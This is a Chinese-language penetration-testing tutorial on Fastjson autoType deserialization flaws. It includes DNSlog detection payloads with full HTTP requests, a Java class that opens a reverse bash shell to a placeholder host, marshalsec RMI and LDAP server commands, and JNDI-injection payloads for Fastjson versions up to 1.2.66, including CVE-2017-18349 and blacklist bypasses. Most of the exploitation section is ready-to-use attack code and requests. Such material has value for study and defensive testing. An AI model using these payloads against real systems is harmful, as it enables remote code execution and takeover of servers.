一、fastjson简介
Json是一种轻量级的数据交换格式,采用一种“键:值”对的文本格式来存储和表示数据,在系统交换数据过程中常常被使用,是一种理想的数据交换语言。在使用 Java 做 Web 开发时,不可避免的会遇到 Json 的使用。
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
二、漏洞原理
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
三、fastjson检测
1.利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
数据包如下:
IPV6:
POST / HTTP/1.1 Host: 192.168.1.253:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 77 {"@type":"java.net.Inet6Address","val":"68v81j.dnslog.cn"}
IPV4:
POST / HTTP/1.1
Host: 192.168.1.253:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 77
{"@type":"java.net.Inet4Address","val":"r8gpoe.dnslog.cn"}
响应及结果如图:
4.2 利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
数据包如下:
POST / HTTP/1.1 Host: 192.168.1.253:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 94 {"@type":"java.net.InetSocketAddress"{"address":,"val":"6nayge.dnslog.cn"}
响应及结果如图:
4.3 利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
数据包如下:
POST / HTTP/1.1 Host: 192.168.1.253:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 76 {{"@type":"java.net.URL","val":"http://g137aa.dnslog.cn"}:"x"}
响应及结果如图:
4.4 其它变形
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
四、漏洞复现
4.1 漏洞检测
使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞
4.2 两种利用方式
4.2.1.基于rmi的利用方式
1.创建反弹shell的java文件
文件内容:
import java.lang.Runtime; import java.lang.Process; public class zcc{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/3456 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
2.编译class文件
3.运行rmi服务(工具下载连接:https://github.com/mbechler/marshalsec)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps:8088/#zcc" 9999
4.启动http服务
python3 -m http.server 8088
5.vps开启监听
6.bp抓包重放访问rmi服务执行class文件。
4.2.2.基于ldap的利用方式
相对于rmi方式的利用,ldap在vps启动的是ladp服务,不用启动rmi服务
启动ldap服务命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps:8088/#zcc" 9999
其它均与rmi方式相同。
4.3 反弹shell
4.3.1 fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)
payload: { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vps:9999/zcc", "autoCommit":true } }
请求包如下:
POST / HTTP/1.1 Host: 192.168.1.253:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: Connection: close Content-Type: Upgrade-Insecure-Requests: 1 Content-Length: 131 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vps:9999/zcc", "autoCommit":true } }
成功反弹shell:
4.3.2 Fastjson 1.2.47远程命令执行漏洞
payload:
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vps:9999/zcc", "autoCommit":true } }
数据包如下:
POST / HTTP/1.1 Host: 192.168.1.253:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: Connection: close Content-Type: Upgrade-Insecure-Requests: 1 Content-Length: 213 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://vps:9999/zcc", "autoCommit":true } }
4.3.3 fastjson<=1.2.41漏洞
payload: { "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://vps:9999/#zcc", "autoCommit":true }
4.3.4 fastjson<=1.2.42漏洞
{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://vps:9999/zcc", "autoCommit":true }
4.3.5 fastjson<=1.2.45漏洞
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://vps:9999/#zcc"}}
4.3.6 fastjson<=1.2.47漏洞(小于1.2.48通用)
payload: { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://vps:9999/zcc", "autoCommit": true } }
4.3.7 fastjson<=1.2.62漏洞
payload: {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
4.3.8 fastjson<=1.2.66漏洞
基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
五、参考文献
https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/
https://www.freebuf.com/vuls/208339.html
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
https://www.cnblogs.com/pengpengboshi/p/15654427.htm